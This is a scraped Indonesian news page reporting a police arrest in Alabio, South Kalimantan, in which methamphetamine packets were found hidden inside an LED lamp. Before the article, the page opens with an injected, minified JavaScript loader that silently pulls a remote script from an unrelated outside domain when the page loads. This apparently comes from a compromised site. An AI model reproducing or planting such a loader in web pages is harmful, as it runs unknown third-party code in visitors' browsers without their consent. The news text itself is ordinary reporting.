(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"subsource":"done_button","uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583710002047","source":"other","origin":"gallery","source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583710002066"}
KANALKALIMANTAN.COM, AMUNTAI – SA alias Asul Naga (28) warga Desa Tapus Dalam Kecamantan Sungai Pandan (Alabio) Kabupaten Hulu Sungai Utara (HSU), tak berkutik setelah anggota Polsek Alabio bersama Sat Narkoba Polres HSU menemukan 6 paket sabu, saat menggeledah rumahnya
pada (6/3/ 2020) kemarin.
Ditangkapnya tersangka Asul Naga disertai penggeledahan tersebut, adalah hasil dari pengembangan kasus oleh anggota Polsek Alabio usai beberapa hari sebelumnya juga meringkus dua pelaku yang diduga sebagai kurir sabu diwilayah tersebut.
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kapolsek Alabio Iptu Agus Sumitro, kepada kanalkalimantan.com, Minggu (8/3/2020) mengakui penangkapan terhadap tersangka SA alias Asul Naga, merupakan pengembangan dan informasi dari dua tersangka yang berhasil diringkus sebelumnya di kawasan Alabio.
Alhasil diperoleh barang bukti yaitu 6 Paket Plastik Piper Clip yang berisikan Narkotika jenis Sabu dengan berat kotor keseluruhan sebanyak 1.70 gram dan berat bersih keseluruhan 0.80 gram.1 buah lampu Led Premium quality warna putih, 1 buah kepala Charging warna putih dan 1 buah Handphone.
“Tersangka ini ada keterkaitan dengan tersangka Nuri kemarin.” Ujar Kapolsek Alabio ini saat dikonfirmasi Kanalkalimantan.com.
Dari informasinya, penangkapan tersangka Asul ini sendiri bermula saat dilakukan penangkapan dan melakukan penggeledahan rumahnya dengan disaksikan oleh warga setempat.
Hasilnya ditemukan barang bukti sabu didalam kamar tepatnya di atas lemari rias berupa sebuah lampu Led Premium quality warna putih yang didalam nya berisikan 6 paket plastik piper clip yg berisikan narkotika jenis sabu-sabu dengan berat keseluruhan 1.70 gram.
Atas temuan tersebut tersangka bersama barang bukti digelandang ke Polres HSU guna proses lebih lanjut dan bakal disangkakan Pasal 114 ayat ( 1 ) atau 112 ayat ( 1 ) nomor 35 Tahun 2009 terkait Tentang Narkotika.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
This website uses cookies.